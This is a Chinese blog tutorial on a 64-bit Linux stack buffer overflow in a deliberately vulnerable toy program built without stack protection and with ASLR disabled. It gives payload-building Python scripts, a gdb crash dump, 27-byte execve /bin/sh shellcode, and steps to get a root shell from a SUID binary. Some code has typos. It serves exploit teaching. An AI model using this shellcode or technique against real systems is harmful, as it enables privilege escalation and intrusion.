您的位置:首页 > 运维架构 > Linux

linux 64位溢出

2016-05-29 23:47 423 查看
/*gcc -fno-stack-protetor -z execstack stack.c -o stack*/
/*echo 0 > /proc/sys/kernel/randomize_va_space*/
#include <stdio.h>
#include <unisted.h>
int vuln(){
char buf[80];
int r;
r = read(0,buf,400);
printf("\nRead %d bytes.buf is %s\n",r,buf);
puts("No shell for you:(");
return 0;
}
int main(int argc,char *argv[])
{
printf("Try to exec /bin/sh");
vuln();
return 0;
}


按照注释进行编译,并且关闭ASLR。

当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。

构造exploit:

#!/usr/bin/env python
from struct import *
buf = ""
buf +="A"*400
f = open("in.txt","w")
f.write(buf)


这个脚本将创建一个命名为“in.txt”的文件(含有400个字节),将例子加载进gdb并将in.txt的内容重定向到例子中,同时我们可以看看事都可以覆盖到RIP:

Starting program: /root/stackoverflow < in1.txt

Try to exec /bin/sh

Read 400 bytes.buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

No shell for you:(

Program received signal SIGSEGV, Segmentation fault.

[———————————-registers———————————–]

RAX: 0x0

RBX: 0x0

RCX: 0x7ffff7b0ce50 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)

RDX: 0x7ffff7dd87a0 –> 0x0

RSI: 0x7ffff7ff5000 (“No shell for you:(\nis “, ‘A’ , “\220\001\n”)

RDI: 0x0

RBP: 0x4141414141414141 (‘AAAAAAAA’)

RSP: 0x7fffffffe1e8 (‘A’ …)

RIP: 0x4005df (

#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x42424242)
buf+="C"*290
f=open("in.txt","w")
f.write(buf)


执行上述脚本,将in.txt中的内容进行修改,然后运行gdb。



如图所示,我们可以看到RIP已经被我们所控制。

因为没有NX和ASLP等保护机制,所以可以直接将shellcode写到栈上。然后将返回地址指向栈上的shellcode即可。

/*
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi            0x4005c4 0x4005c4
;rsi            0x7fffffffdf40   0x7fffffffdf40
;rdx            0x0      0x0
;gdb$ x/s $rdi
;0x4005c4:        "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40:  "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00
;
;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b
;   0x7ffff7aeff25 <execve+5>:   syscall
;

main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
*/

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}


通过一个环境变量PWN来获取shellcode在栈上的地址:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[])
{
char *ptr;
if(argc<3)
{
printf("Usage:%s<environment var><target program name>\n",argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0])-strlen(argv[2]))*2
printf("%s will be at %p\n",argv[1],ptr);
return 0;
}




可以看到shellcode在栈上的地址为0x7fffffffedd3

下面我们就修改脚本

#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x7fffffffedd3)
f=open("in.txt","w")
f.write(buf)




确保改变我们的所有权并将例子权限改成SUID(root),因此可以得到我们的root shell。



执行完脚本之后,更新in.txt,并将payload送进例子中,就可以返回shell了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  linux 64位